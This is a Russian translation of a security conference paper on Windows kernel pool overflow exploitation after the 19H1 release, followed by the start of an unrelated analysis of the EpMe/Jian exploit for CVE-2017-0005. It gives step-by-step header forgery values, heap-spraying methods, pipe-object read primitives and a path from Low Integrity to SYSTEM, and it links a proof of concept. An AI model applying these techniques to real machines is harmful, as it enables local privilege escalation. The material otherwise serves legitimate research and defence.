В большинстве случаев информация, хранящаяся в PoolType, носит исключительно информативный характер; она была предоставлена во время выделения и хранится в PoolType, но не будет использоваться в механизме освобождения.
Например, изменение типа памяти, хранящейся в PoolType, на самом деле не изменит тип памяти, используемый для выделения. Невозможно превратить память NonPagedPoolNx в NonPagedPool, просто изменив этот бит.
Но это неверно для битов PoolQuota и CacheAligned. Установка бита PoolQuota вызовет использование указателя ProcessBilled в POOL_HEADER для разыменования квоты после освобождения. Как показано в 1.2, атаки на указатель ProcessBilled были защищены.
Итак, единственный оставшийся бит - это бит CacheAligned.
Путаница выравнивания фрагментов
Как видно в разделе 2.2, если выделение запрашивается с битом CacheAligned, установленным в PoolType, макет блока будет другим.
Когда распределитель освобождает такое выделение, он пытается найти исходный адрес фрагмента, чтобы освободить фрагмент по правильному адресу. Он будет использовать поле PreviousSize выровненного заголовка POOL_HEADER. Распределитель выполняет простое вычитание для вычисления исходного адреса блока:
C:Copy to clipboard
if ( AlignedHeader ->PoolType & 4 )
{
OriginalHeader = (QWORD)AlignedHeader - AlignedHeader ->
PreviousSize * 0x10;
OriginalHeader ->PoolType |= 4;
}
До того, как сегментная куча была введена в ядро, были несколько проверок после этой операции.
- Распределитель проверял, был ли у исходного фрагмента установлен бит MustSucceed в PoolType.
- Смещение между двумя заголовками было пересчитано с использованием ExpCacheLineSize и подтверждено как то же самое, что ифактическое расстояние между двумя заголовками.
- Распределитель проверил, был ли размер блока выровненного заголовка равен размеру блока исходного заголовка плюс размер блока PreviousSize выровненного заголовка.
- Распределитель проверял, равен ли указатель, хранящийся в OriginalHeader
- sizeof (POOL_HEADER), адресу выровненного заголовка, проxorенным вместе с ExpPoolQuotaCookie.
Click to expand...
Начиная с Windows 10 19H1, когда распределитель пула использует кучу сегментов, все эти проверки пропали. Указатель по-прежнему присутствует после исходного заголовка, но никогда не проверяется механизмом освобождения. Авторы предполагают, что часть проверок удалена по ошибке. Вероятно, что некоторые проверки будут повторно включены в будущих выпусках, но в предварительной сборке Windows 10 20H1 такого патча нет.
На данный момент отсутствие проверок позволяет злоумышленнику использовать PoolType в качестве вектора атаки. Злоумышленник может использовать переполнение кучи, чтобы установить бит CacheAligned в PoolType следующего фрагмента и полностью контролировать поле PreviousSize. Когда фрагмент освобожден, механизм освобождения использует управляемый PreviousSize, чтобы найти исходный фрагмент и освободить его.
Поскольку поле PreviousSize хранится в одном байте, злоумышленник может освободить любой адрес, выровненный по 0x10, до 0xFF * 0x10 = 0xFF0 перед исходным адресом блока.
Заключительная часть этой статьи направлена на демонстрацию универсального эксплойта с использованием представленных здесь приемов. Он представляет общие объекты, которые интересно контролировать в пуле переполнения или ситуации UAF, а также несколько объектов и методов для повторного использования свободного выделения с контролируемыми данными.
**4 Общая эксплуатация
4.1 Обязательные условия**
В этом разделе представлены методы использования уязвимости для повышения привилегий в системе Windows. Предполагается, что злоумышленник находится на уровне Low Integrity.
Конечная цель - разработать наиболее общий возможный эксплойт, который можно было бы использовать с разными типами памяти, PagedPool и NonPagedPoolNx, с разными размерами фрагментов и с любой уязвимостью, связанной с переполнением кучи, которая обеспечивает следующие необходимые условия.
- При нацеливании на BlockSize уязвимость должна обеспечивать возможность перезаписать 3-й байт POOL_HEADER следующего блока с контролируемым значением.
- При нацеливании на PoolType уязвимость должна обеспечивать возможность перезаписать 1-й и 4-й байты POOL_HEADER следующего фрагмента с контролируемыми значениями.
- Во всех случаях требуется контролировать выделение и освобождение уязвимого объекта, чтобы добиться максимального успеха распыления.Click to expand...
4.2 Стратегии эксплуатации
Выбранная стратегия эксплуатации использует возможность атаковать поля PoolType и PreviousSize следующего блока POOL_HEADER. Чанк, уязвимый для переполнения кучи, будет называться "уязвимым чанком", а чанк, помещенный после него, будет называться "перезаписанным чанком".
Как описано в разделе 3.2, управляя полями PoolType и PreviousSize следующего фрагмента POOL_HEADER, злоумышленник может изменить место фактического освобождения перезаписанного фрагмента. Этот примитив можно использовать по- разному.
Это может позволить переключить поток в пуле в ситуации Use-After-Free, когда злоумышленник устанавливает поле PreviousSize точно равным размеру уязвимого фрагмента. Таким образом, при запросе освобождения перезаписанного фрагмента уязвимый фрагмент будет освобожден и помещен в ситуацию Use-After-Free. Рисунок 16 представляет эту технику.
Однако была выбрана другая техника. Примитив также можно использовать для запуска освобождения перезаписанного фрагмента в середине уязвимого фрагмента. Можно подделать поддельный POOL_HEADER в уязвимом фрагменте (или фрагменте, который его заменяет) и использовать атаку PoolType для перенаправления свободного места в этом фрагменте. Это позволило бы создать фальшивый фрагмент в середине допустимого фрагмента и оказаться в действительно хорошей ситуации переполнения. Этот соответствующий фрагмент будет называться "чанком- привидением".
Чанк-привидение перекрывает как минимум два фрагмента: уязвимый и перезаписанный.
Рисунок 17 представляет эту технику.
Этот последний метод кажется более пригодным для эксплуатации, чем Use-After- Free, потому что он позволяет злоумышленнику лучше контролировать содержимое произвольного объекта.
Затем уязвимый фрагмент можно перераспределить с помощью объекта, который позволяет произвольно управлять данными. Это позволяет злоумышленнику частично контролировать объект, размещенный в чанке-привидение.
Необходимо найти интересный объект, чтобы его поместить в чанк-привидение. Чтобы использовать наиболее универсальный эксплойт, объект должен соответствовать следующим требованиям:
- обеспечивает произвольный примитив чтения/записи, если он полностью или частично контролируется;
- возможность контролировать его распределение и освобождение;
- иметь переменный размер не менее 0x210, чтобы быть выделенным в чанке привидении из соответствующего списка, но быть как можно меньшим (чтобы не перегружать кучу слишком много при ее выделении).Click to expand...
Поскольку уязвимый блок может быть размещен как в PagedPool, так и в NonPagedPoolNx, необходимы два объекта такого типа: один выделен в PagedPool, а другой - в NonPagedPoolNx.
Такой объект не является обычным явлением, и авторы не нашли такого совершенного объекта. Вот почему была разработана стратегия эксплуатации с использованием объекта, который предоставляет только произвольный примитив чтения. Злоумышленник все еще может контролировать POOL_HEADER чанка призрака. Это означает, что атака перезаписи процесса указателя квоты может использоваться для получения произвольного примитива декрементации. ExpPoolQuotaCookie и адрес чанка призрака можно восстановить с помощью произвольного примитива чтения.
Разработанный эксплойт использует эту последнюю технику. Используя массаж кучи и объекты, которые интересно переполнить, 4-байтовый контролируемый поток можно превратить в повышение привилегий, от низкого уровня целостности до SYSTEM.
**4.3 Целевые объекты
Выгружаемый пул**
После создания пайпа пользователь может добавлять атрибуты в пайп. Атрибуты
представляют собой пару "ключ-значение" и хранятся в связанном списке.
Объект PipeAttribute 1 размещается в пуле PagedPool и определяется в ядре
структурой, показанной на рисунке 18.
struct PipeAttribute {
LIST_ENTRY list;
char * AttributeName;
uint64_t AttributeValueSize;
char * AttributeValue;
char data[0];
};Click to expand...
Размер выделения и данных полностью контролируется злоумышленником.
AttributeName и AttributeValue - это указатели, указывающие на разные
параметры поля данных.
Атрибут пайпа может быть создан в пайпе с помощью системного вызова
NtFsControlFile и управляющего кода 0x11003C, как показано на рисунке 19.
C:Copy to clipboard
HANDLE read_pipe;
HANDLE write_pipe;
char attribute[] = "attribute_name \00 attribute_value"
char output[0x100];
CreatePipe(read_pipe , write_pipe , NULL , bufsize);
NtFsControlFile(write_pipe ,
NULL ,
NULL ,
NULL ,
&status ,
0x11003C ,
attribute ,
sizeof(attribute),
output ,
sizeof(output)
);
Затем значение атрибута можно прочитать с помощью управляющего кода 0x110038. Указатель AttributeValue и AttributeValueSize будут использоваться для чтения значения атрибута и возврата его пользователю. Значение атрибутов можно изменить, но это вызовет освобождение предыдущего атрибута PipeAttribute и выделение нового.
Это означает, что если злоумышленник может управлять полями AttributeValue и AttributeValueSize атрибута PipeAttribute, он может читать произвольные данные в ядре, но не может произвольно записывать. Этот объект также идеально подходит для помещения произвольных данных в ядро. Это означает, что его можно использовать для перераспределения уязвимого фрагмента и управления содержимым чанка призрака.
NonPagedPoolNx
Возможность использовать WriteFile в канале - это известный метод распыления NonPagedPoolNx. При записи в канал функция NpAddDataQueueEntry создает структуру, определенную на рисунке 20.
C:Copy to clipboard
struct PipeQueueEntry
{
LIST_ENTRY list;
IRP *linkedIRP;
__int64 SecurityClientContext;
int isDataInKernel;
int remaining_bytes__;
int DataSize;
int field_2C;
char data[1];
};
Данные и размер PipeQueueEntry контролируются пользователем, поскольку данные хранятся непосредственно за структурой.
При использовании записи в функции NpReadDataQueue ядро просматривает список записей и использует каждую запись для извлечения данных.
C:Copy to clipboard
if ( PipeQueueEntry ->isDataAllocated == 1 )
data_ptr = (PipeQueueEntry ->linkedIRP ->SystemBuffer);
else
data_ptr = PipeQueueEntry ->data;
[...]
memmove((void *)(dst_buf + dst_len - cur_read_offset), &data_ptr[
PipeQueueEntry ->DataSize - cur_entry_offset], copy_size);
Если поле isDataInKernel равно 1, данные не хранятся непосредственно за
структурой, но указатель сохраняется в IRP, на который указывает connectedIRP.
Если злоумышленник может полностью контролировать эту структуру, он может
установить isDataInKernel в 1 и сделать точку linkedIRP в пользовательском
пространстве. Поле SystemBuffer (смещение 0x18) linkedIRP в пользовательском
пространстве затем используется для чтения данных из записи.
Это обеспечивает произвольный примитив чтения. Этот объект также идеально
подходит для помещения произвольных данных в ядро. Это означает, что его можно
использовать для перераспределения уязвимого фрагмента и управления содержимым
призрачного чанка.
4.4 Распыление
В этом разделе описываются методы распыления кучи ядра, чтобы получить желаемый макет памяти.
Чтобы получить требуемый макет памяти, представленный в разделе 4.2, необходимо выполнить некоторое распыление кучи. Распыление кучи зависит от размера уязвимого фрагмента, поскольку в конечном итоге он будет выделен другим бэкэндом.
Чтобы облегчить распыление, может быть полезно убедиться, что соответствующий список пуст. Это обеспечит выделение более 256 блоков правильного размера.
Если уязвимый фрагмент меньше 0x200, он будет расположен в бэкэнде LFH. Затем необходимо произвести распыление кусками одного и того же размера по модулю соответствующей степени детализации чанка, чтобы гарантировать, что все они выделены из одного и того же бакета. Как показано в разделе 2.1, когда запрашивается выделение, бэкэнд LFH будет сканировать BlockBitmap по группе максимум из 32 блоков и случайным образом выбирать свободный блок. Выделение более 32 блоков непосредственно перед и после выделения уязвимого блока должно помочь избежать рандомизации.
Если уязвимый фрагмент больше 0x200, но меньше 0x10000, он попадет в бэкэнд с
переменным размером. Затем необходимо произвести распыление размером, равным
размеру уязвимого участка. Более крупный кусок можно разделить и, таким
образом, не справиться с распылением. Сначала выделите тысячи фрагментов
выбранного размера, чтобы убедиться, что FreeChunkTree очищается от всех
фрагментов, превышающих выбранный размер, а затем распределитель выделит новый
подсегмент VS размером 0x10000 байт и поместит его в FreeChunkTree. Затем
выделите еще одну тысячу фрагментов, которые окажутся в новом большом
свободном фрагменте и, таким образом, будут непрерывными. Затем освободите
одну треть последнего выделенного фрагмента, чтобы заполнить FreeChunkTree.
Освобождение только одной трети гарантирует, что ни один кусок не будет
объединен.
Затем позвольте уязвимому фрагменту быть выделенным. Наконец, освобожденный
кусок можно перераспределить, чтобы увеличить вероятность распыления.
Поскольку метод полной эксплуатации требует освобождения и перераспределения как уязвимого фрагмента, так и призрачного чанка, может быть действительно интересно включить соответствующий динамический список, чтобы облегчить восстановление свободного фрагмента. Для этого простое решение - выделить тысячи фрагментов соответствующего размера, подождать 2 секунды, выделить еще тысячи фрагментов и подождать 1 секунду. Таким образом, мы можем гарантировать, что Диспетчер Набора Баланса перебалансировал соответствующий внешний вид. Выделение тысяч фрагментов гарантирует, что список будет в верхней части используемого списканы и, таким образом, будет включена, а также гарантирует, что в ней будет достаточно места.
**4.5 Эксплуатация
Демонстрационная установка.**
Чтобы продемонстрировать следующий эксплойт, была создана поддельная
уязвимость.
Был разработан драйвер ядра Windows, который предоставляет несколько IOCTL, что позволяет:
- Выделить чанк контролируемого размера в PagedPool
- Запускает управляемый memcpy в этом фрагменте, который позволяет полностью
контролировать переполнение пула.
- Освободить выделенный кусок
Это, конечно, только для демонстрации и обеспечивает больший контроль, который действительно необходим для работы эксплойта.
Эта настройка позволяет злоумышленнику:
- Контролируйте размер уязвимого фрагмента. Это не обязательно, но
предпочтительнее, поскольку использовать эксплойт проще с контролируемыми
размерами.
- Управляйте выделением и освобождением уязвимого фрагмента.
- Заменить 4 первых байта POOL_HEADER следующего фрагмента контролируемым
значением
Кроме того, уязвимый фрагмент размещается в пуле PagedPool. Это важно, поскольку тип пула может изменить объекты, используемые в эксплойтах, а затем оказать большое влияние на сам эксплойт. Однако эксплойт, нацеленный на NonPagedPoolNx, очень похож и использует только PipeQueueEntry для распыления и получения произвольного чтения вместо PipeAttribute.
В этом примере выбранный размер уязвимого фрагмента будет 0x180. Обсуждение размера уязвимого блока и его влияния на эксплойт обсуждается в разделе 4.6.
Создание призрачного чанка
Первым шагом здесь является массаж кучи, чтобы поместить контролируемый объект
после уязвимого фрагмента. Объектом в перезаписанном чанке может быть что
угодно, единственное требование - контролировать, когда он будет освобожден.
Чтобы упростить эксплойт, лучше выбрать объект, который можно распылять, см.
Раздел 4.2.
Теперь уязвимость может быть активирована, POOL_HEADER перезаписанного блока заменяется следующими значениями:
PreviousSize : 0x15. Этот размер будет умножен на 0x10. 0x180 - 0x150 =
0x30, смешение поддельного POOL_HEADER в уязвимом фрагменте.
PoolIndex : 0 или любое другое значение, не используется.
BlockSize : 0, или любое другое значение, не используется.
PoolType : PoolType | 4. Бит CacheAligned установлен.
Поддельный POOL_HEADER должен быть помещен в уязвимый блок с известным смещением. Это делается путем освобождения уязвимого объекта и перераспределения фрагмента с помощью объекта PipeAttribute.
Для демонстрации отключение поддельного POOL_HEADER в уязвимом фрагменте будет 0x30. Поддельный POOL_HEADER имеет следующий вид:
PreviousSize : 0 или любое другое значение не используется.
PoolIndex : 0 или любое другое значение, не используется.
BlockSize : 0x21. Этот размер будет умножен на 0x10 и будет размером
освобожденного фрагмента.
PoolType : Тип пула. Биты CacheAligned и PoolQuota НЕ установлены.
Выбранный BlockSize не является случайным, это размер блока, который будет фактически освобожден. Поскольку цель состоит в том, чтобы впоследствии повторно использовать это выделение, необходимо выбрать размер, который будет легко использовать повторно. Поскольку все размеры ниже 0x200 находятся в LFH, таких размеров следует избегать. Наименьший размер, который не является LFH, - это выделение 0x200, то есть фрагмент размером 0x210. Размер 0x210 использует выделение VS и может использовать динамические списки, описанные в разделе 2.1.
Динамический список для размера 0x210 можно включить путем распыления и освобождения фрагментов размером 0x210 байт.
Теперь перезаписанный кусок можно освободить, и это вызовет выравнивание кеша. Вместо освобождения фрагмента по адресу перезаписанного фрагмента он освободит фрагмент с адресом OverwrittenChunkAddress - (0x15 * 0x10), который также является VulnerableChunkAddress + 0x30. POOL_HEADER, используемый для освобождения, является поддельным POOL_HEADER, и вместо освобождения уязвимого фрагмента ядро освобождает фрагмент размером 0x210 и помещает его в верхнюю часть динамического списка. Это показано на рисунке 23.
К сожалению, PoolType поддельного POOL_HEADER не влияет на то, помещается ли освобожденный фрагмент в PagedPool или NonPagedPoolNx.
Динамический список выбирается с использованием сегмента распределения, который выводится из адреса блока. Это означает, что если уязвимый блок находится в выгружаемом пуле, этот призрачный чанк также будет помещен в резервный список выгружаемого пула.
Теперь перезаписанный фрагмент находится в состоянии "lost"; ядро считает, что оно освобождено, и все ссылки на блок удалены. Он больше не будет использоваться.
Утечка содержимого призрачного чанка.
Призрачный чанк теперь можно перераспределить с помощью объекта PipeAttribute.
Структура PipeAttribute перезаписывает значение атрибута, помещенного в
уязвимый блок. При чтении значения этого атрибута канала данные могут быть
прочитаны, и содержимое атрибута PipeAttribute призрачного чанка утекает.
Теперь известен адрес этого фантомного фрагмента и, следовательно, уязвимого
фрагмента. Этот шаг представлен на рисунке 24.
Получение произвольного чтения
Уязвимый кусок можно освободить в другой раз и перераспределить с другим
атрибутом PipeAttribute. На этот раз данные PipeAttribute перезапишут
PipeAttribute призрачного чанка. Таким образом, можно полностью контролировать
PipeAttribute призрачного чанк. Новый атрибут PipeAttribute вводится в
связанный список, который находится в пользовательском пространстве. Этот шаг
представлен на рисунке 25.
Теперь, запрашивая чтение атрибута призрачного чанка PipeAttribute, ядро будет использовать PipeAttribute, который находится в пользовательском пространстве и, таким образом, полностью контролируется. Как было показано ранее, управляя указателем AttributeValue и AttributeValueSize, это обеспечивает произвольный примитив чтения.
Фигура 26 представляет произвольное чтение.
Используя первую утечку указателя и произвольное чтение, можно получить указатель на текстовую секцию npfs. Читая таблицу импорта, можно прочитать указатель на текстовую секцию ntoskrnl, которая обеспечивает базу ядра. Оттуда злоумышленник может прочитать значение ExpPoolQuotaCookie и получить адрес структуры EPROCESS для процесса эксплойта и адрес его ТОКЕНА.
Получение произвольного уменьшения
Сначала фальшивая структура EPROCESS создается в области ядра с использованием PipeQueueEntry 3, и ее адрес извлекается с помощью произвольного чтения.
Затем эксплойт может еще раз освободить и перераспределить уязвимый кусок, чтобы изменить содержимое призрачного чанка и его POOL_HEADER.
POOL_HEADER призрачного чанка перезаписывается следующими значениями:
PreviousSize : 0 или любое другое значение, не используется.
PoolIndex : 0 или любое другое значение, не используется.
BlockSize : 0x21. Этот размер будет умножен на 0x10.
PoolType : 8. Бит PoolQuota установлен.
PoolQuota : ExpPoolQuotaCookie XOR FakeEprocessAddress XOR
GhostChunkAddress
После освобождения призрачного чанка ядро попытается разыменовать счетчик квоты соответствующего EPROCESS. Он будет использовать фальшивую структуру EPROCESS, чтобы найти указатель на значение для разыменования.
Это обеспечивает произвольный примитив декремента. Значение уменьшения - это размер блока в PoolHeader, поэтому он выровнен по 0x10 и между 0 и 0xFF0.
От произвольного уменьшения до SYSTEM
В 2012 году Сезар Серрудо [3] описал метод повышения его привилегий, установив поле Privileges.Enabled в структуре TOKEN. Поле Privileges.Enabled содержит привилегии, включенные для этого процесса. По умолчанию токен с низким уровнем целостности имеет для параметра Privileges.Enabled значение 0x0000000000800000, которое дает только SeChangeNotifyPrivilege. После вычитания единицы в этом битовом поле получится 0x000000000007FFFF, что дает гораздо больше привилегий.
SeDebugPrivilege включается установкой бита 20 в этом битовом поле. SeDebugPrivilege позволяет процессу отлаживать любой процесс в системе, таким образом, дает возможность внедрять любой код в привилегированный процесс.
Эксплойт, описанный в [1], представляет собой перезапись процесса указателя квоты, которая использует произвольное уменьшение для установки SeDebugPrivilege для своего процесса. На рисунке 27 представлена эта техника.
Однако, начиная с Windows 10 v1607, ядро теперь также проверяет значение поля Privileges.Present токена. Поле Privileges.Present токена - это список привилегий, которые МОЖНО включить для этого токена с помощью AdjustTokenPrivileges API. Таким образом, фактические привилегии TOKEN теперь представляют собой битовое поле, являющееся результатом Privileges.Present & Privileges.Enabled.
По умолчанию токен с низким уровнем целостности имеет значение Privileges.Present, равное 0x602880000. Поскольку 0x602880000 & (1«20) == 0, установки SeDebugPrivilege в Privileges.Enabled недостаточно для получения SeDebugPrivilege.
Идея может заключаться в уменьшении битового поля Privileges.Present, чтобы получить SeDebugPrivilege в битовом поле Privileges.Present. Затем злоумышленник может использовать API AdjustTokenPrivileges для включения SeDebugPrivilege. Однако функция SepAdjustPrivileges выполняет дополнительные проверки, и в зависимости от целостности TOKEN процесс не может активировать какие-либо привилегии, даже если требуемая привилегия находится в битовом поле Privileges.Present. Для высокого уровня целостности процесс может активировать любые привилегии, указанные в битовом поле Privileges.Present. Для среднего уровня целостности процесс может активировать только те привилегии, которые указаны в поле Privileges.Present И в битовом поле 0x1120160684. Для низкого уровня целостности процесс может активировать только те привилегии, которые указаны в поле Privileges.Present И в битовом поле 0x202800000.
Это означает, что этот метод получения SYSTEM из единственного произвольного уменьшения не работает.
Тем не менее, это вполне может быть сделано за два произвольных уменьшения, уменьшив сначала Privileges.Enabled, а затем Privileges.Present.
Призрачный чанк может быть перераспределен, а его POOL_HEADER перезаписан во второй раз, чтобы получить второе произвольное уменьшение.
После получения SeDebugPrivilege эксплойт может открыть любой процесс SYSTEM и внедрить внутри него шелл-код, который выводит оболочку c привилегиями SYSTEM.
4.6 Обсуждение представленного эксплойта
Код представленного эксплойта доступен по адресу [2] вместе с уязвимым драйвером. Этот эксплойт является лишь подтверждением концепции и всегда может быть улучшен.
4.7 Обсуждение размеров уязвимого объекта
В зависимости от размера уязвимого объекта у эксплойта могут быть разные требования.
Представленный выше эксплойт работает только для уязвимого фрагмента размером минимум 0x130. Это связано с размером фантомного фрагмента, который должен быть не менее 0x210. Для уязвимого фрагмента размером менее 0x130 выделение фантомного фрагмента перезапишет фрагмент за перезаписанным фрагментом и вызовет сбой при освобождении. Это поправимо, но оставлено читателю в качестве упражнения.
Есть несколько различий между уязвимым объектом в LFH (фрагменты до 0x200) и уязвимым объектом в сегменте VS (фрагменты> 0x200). В основном, у блока VS есть дополнительный заголовок перед блоком. Это означает, что для управления POOL_HEADER следующего фрагмента в сегменте VS требуется переполнение кучи размером не менее 0x14 байтов. Это также означает, что когда перезаписанный кусок будет освобожден, его _HEAP_VS_CHUNK_HEADER должен быть исправлен. Кроме того, следует позаботиться о том, чтобы не освободить 2 фрагмента, распыленных сразу после перезаписанного фрагмента, потому что механизм освобождения VS может прочитать заголовок VS перезаписанного фрагмента в попытке объединить 3 свободных фрагмента.
Наконец, массажи кучи в LFH и VS совершенно разные, как описано в разделе 4.4.
5. Заключение
В этом документе описывается состояние внутреннего устройства пула с момента обновления Windows 10 19H1. Сегментная куча была перенесена в ядро, и для правильной работы ей не нужны метаданные фрагментов. Однако старый POOL_HEADER, который был наверху каждого фрагмента, все еще присутствует, но используется по-другому.
Мы продемонстрировали некоторые атаки, которые могут быть выполнены с использованием переполнения кучи в ядре Windows путем атаки на внутренние компоненты, специфичные для пула.
Продемонстрированный эксплойт может быть адаптирован к любой уязвимости, которая обеспечивает минимальное переполнение кучи и позволяет локальное повышение привилегий с низкого уровня целостности до уровня SYSTEM.
Используемая литература
1. Corentin Bayet. Exploit of CVE-2017-6008 with Quota Process Pointer
Overwrite attack. <https://github.com/cbayet/Exploit-
CVE-2017-6008/blob/master/Windows10PoolParty.pdf>, 2017.
2. Corentin Bayet and Paul Fariello. PoC exploiting Aligned Chunk Confusion
on Windows kernel Segment Heap. <https://github.com/synacktiv/Windows-kernel-
SegmentHeap-Aligned-Chunk-Confusion>, 2020.
3. Cesar Cerrudo. Tricks to easily elevate its privileges.
<https://media.blackhat.com/bh-
us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf>, 2012.
4. Matt Conover and w00w00 Security Development. w00w00 on Heap Overflows.
http://www.w00w00.org/files/articles/heaptut.txt, 1999.
5. Tarjei Mandt. Kernel Pool Exploitation on Windows 7. Blackhat DC, 2011.
6. Haroon Meer. Memory Corruption Attacks The (almost) Complete History.
Blackhat USA, 2010.
7. Mark Vincent Yason. Windows 10 Segment Heap Internals. Blackhat US, 2016.
Источник:
https://www.sstic.org/2020/presentation/pool_overflow_exploitation_since_windows_10_19h1/
Автор перевода: yashechka
Переведено специально для
https://xss.is
Существует теория, согласно которой, если кому-либо удастся украсть и использовать кибернетические инструменты национального уровня, любая сеть станет ненадежной, и мир станет очень опасным местом для жизни.
Есть еще одна теория, которая утверждает, что это уже произошло.
Что бы вы сказали, если бы мы сказали вам, что иностранной группе удалось украсть американскую атомную подводную лодку? Это определенно будет плохо и быстро попадет в каждый заголовок газеты.
Однако с кибероружием - хотя его воздействие может быть столь же разрушительным - обычно все обстоит иначе.
Кибероружие является цифровым и нестабильным по своей природе. Чтобы украсть их и переправить с одного континента на другой, достаточно отправить электронное письмо. Они также очень неясны, и их существование является тщательно охраняемым секретом. Именно поэтому, в отличие от атомной подводной лодки, кража кибер-оружия может легко остаться незамеченной и стать фактом, известным лишь немногим избранным.
Последствия такого сценария могут быть разрушительными, поскольку мир уже испытал на себе случай утечки Shadow Brokers, когда таинственная группа решила публично опубликовать широкий спектр кибероружия, предположительно разработанного Tailored Access Operations (TAO) подразделение АНБ - также именуемое "Equation Group". Утечка Shadow Brokers привела к одним из крупнейших кибер-вспышек в истории, самой известной из которых была атака WannaCry, нанесшая сотни миллионов долларов убытков организациям по всему миру, и ее последствия по-прежнему актуальны даже через 3 года после её запуска.
Однако утечка Shadow brokers просто дала нам представление о некоторых возможных последствиях, которые может вызвать такая кибер-кража. Остается еще много важных вопросов - могло ли такое случиться раньше? И если да, то кто за этим стоит и для чего они его использовали?
Наше недавнее исследование направлено на то, чтобы пролить больше света на эту тему и выявить убедительные доказательства того, что такая утечка действительно имела место за годы до утечки Shadow Brokers, в результате чего разработанные в США кибер-инструменты попали в руки китайской группы, которая перепрофилировала их, чтобы атаковать цели США.
Ключевые находки
- Эксплойт "пойманный в дикой природе" CVE-2017-0005, приписываемый Microsoft китайскому APT31 (Zirconium), на самом деле является копией эксплойта Equation Group под кодовым названием "EpMe".
- APT31 имел доступ к файлам EpMe, как к их 32-битной, так и 64-битной версиям, более чем за 2 года до утечки Shadow Brokers.
- Эксплойт был воспроизведен APT в течение 2014 года для формирования "Jian" и использовался как минимум с 2015 года, пока, наконец, не был обнаружен и пропатчен в марте 2017 года.
- Об эксплойте APT31 сообщила Microsoft группа реагирования на компьютерные инциденты Lockheed Martin, намекая на возможное нападение на американскую цель.
- Фреймворк, содержащий эксплойт EpMe, датирован 2013 годом и в целом содержит 4 эксплойта повышения привилегий Windows, два из которых были зеродеями на момент разработки фреймворка.
- Один из зеродеев во фреймворке под кодовым названием "EpMo" никогда публично не обсуждался и был Пропатчен Microsoft без явного CVE-ID в мае 2017 года. По-видимому, это было ответом на утечку Shadow Brokers.
Click to expand...
Введение
В последние несколько месяцев наши исследователи вредоносных программ и уязвимостей сосредоточили внимание на недавних эксплойтах для повышения привилегий Windows, приписываемых китайским хакерам. В ходе этого расследования нам удалось раскрыть скрытую историю "Jian", эксплойта нулевого дня, который ранее приписывался APT31 (Zirconium), и показать его истинное происхождение.
В этом блоге мы показываем, что CVE-2017-0005, уязвимость Windows Local- Privilege-Escalation (LPE), которая была приписана китайскому APT, была реплицирована на основе эксплойта Equation Group для той же уязвимости, к которой APT смог получить доступ. EpMe, эксплойт Equation Group для CVE-2017-0005, является одним из 4 различных эксплойтов LPE, включенных в структуру фреймворка DanderSpritz. EpMe восходит как минимум к 2013 году - за четыре года до того, как APT31 был пойман на использовании этой уязвимости в дикой природе.
Это не первый задокументированный случай, когда китайский APT перепрофилировал эксплойт Equation Group. В случае с Bemstour, который обсуждали как Symantec, так и наша собственная исследовательская группа, основное предположение заключалось в том, что APT3 (Buckeye) проснифал эксплойт EternalRomance из сетевого трафика, а затем обновил его до эквивалента EternalSynergy, используя дополнительную уязвимость APT3. Однако в данном случае у нас есть веские доказательства того, что APT31 имел доступ к фактическим файлам эксплойтов Equation Group как в 32-битной, так и в 64-битной версиях.
В следующих разделах мы представляем 4 различных эксплойта Windows LPE, включенных в фреймворк DanderSpritz, и раскрываем дополнительный код эксплойта под названием "EpMo". Этот эксплойт был пропатчен в мае 2017 года, вероятно, как часть последующих исправлений утечки Shadow Brokers "Lost in Translation" инструментов Equation Group. Хотя уязвимость была исправлена, нам не удалось идентифицировать связанный с ней CVE-ID. Насколько нам известно, это первое публичное упоминание о существовании этой дополнительной уязвимости Equation Group.
Background
В рамках нашего постоянного исследования эксплойтов Windows LPE и отслеживания авторов эксплойтов мы начали анализировать эксплойты, приписываемые китайским APT. Поскольку CVE-2019-0803 недавно был упомянут в списке 25 основных уязвимостей АНБ, используемых китайскими хакерами, мы решили, что это хорошее место для начала. После того, как мы закончили документирование всей информации, которую мы собрали об этом уникальном эксплойте, который первоначально был связан с китайскими хакерами, мы перешли к следующему эксплойту с китайской атрибутикой в нашем списке: CVE-2017-0005.
В нашем обзоре отчета Microsoft об уязвимости, которая была обнаружена в открытом доступе и приписывалась Zirconium (APT31), мы обнаружили несколько интересных деталей:
- Эксплойт был пойман и сообщен Microsoft группой реагирования на компьютерные инциденты Lockheed Martin.
- Эксплойт использует многоэтапный упаковщик, который выглядит идентично тому, который мы видели в CVE-2019-0803.Click to expand...
Вооруженные этими двумя зацепками и уже знакомые с упаковщиком, используемым этими эксплойтами, мы приступили к поиску описанного эксплойта CVE-2017-0005.
Получив 64-битный образец эксплойта CVE-2017-0005, мы проверили его на соответствие информации, описанной Microsoft в их блоге. Мало того, что это совпадало, при игнорировании случайного распределения страниц оба образца использовали одни и те же адреса (те же самые младшие 3 полубайта).
Сравнение CVE-2017-0005 и CVE-2019-0803
В следующем разделе мы подробно опишем некоторые характеристики упаковщика и загрузчика, используемых в CVE-2017-0005 и CVE-2019-0803, и подчеркнем их общие черты и различия.
Jian, эксплойт CVE-2017-0005, поставлялся в виде DLL с именем Add.dll. Он содержал интересный путь PDB, предполагающий, что он был написан в 2015 году в рамках проекта под названием "rundll32_getadmin".
F:\\code\\2015\\rundll32_getadmin\\Add\\x64\\Release\\Add.pdb
Когда мы проверили метку даты и времени двоичного файла в заголовке файла, мы увидели, что DLL была скомпилирована 6 мая, в среду, 02:08:24 2015 г., что хорошо согласуется с именем папки из PDB. Дополнительная отметка времени в каталоге экспорта указывает на ту же дату. Говоря о каталоге экспорта, DLL имеет единственную экспортируемую функцию с именем "AddByGod|, которая, как мы вскоре узнаем, является функцией входа для упаковщика.
Процедура дешифрования очень проста. Упаковщик начинает с выделения памяти для зашифрованного кода и копирует его во вновь выделенный буфер. Затем он выделяет буфер с защитой PAGE_EXECUTE_READWRITE для хранения расшифрованного кода. После распределения буферов упаковщик проверяет, был ли передан строковый аргумент, который будет использоваться в качестве ключа дешифрования, в функцию AddByGod. Затем упаковщик использует алгоритм AES256 с ключом, полученным из SHA1 переданного аргумента, для расшифровки зашифрованного кода. Если расшифровка прошла успешно, выполняется расшифрованный код и запускаются полезные данные второго этапа. К счастью, нам удалось получить пароль, необходимый для выполнения двоичного файла и дешифрования зашифрованных данных.
rundll32.exe Add.dll AddByGod [password]
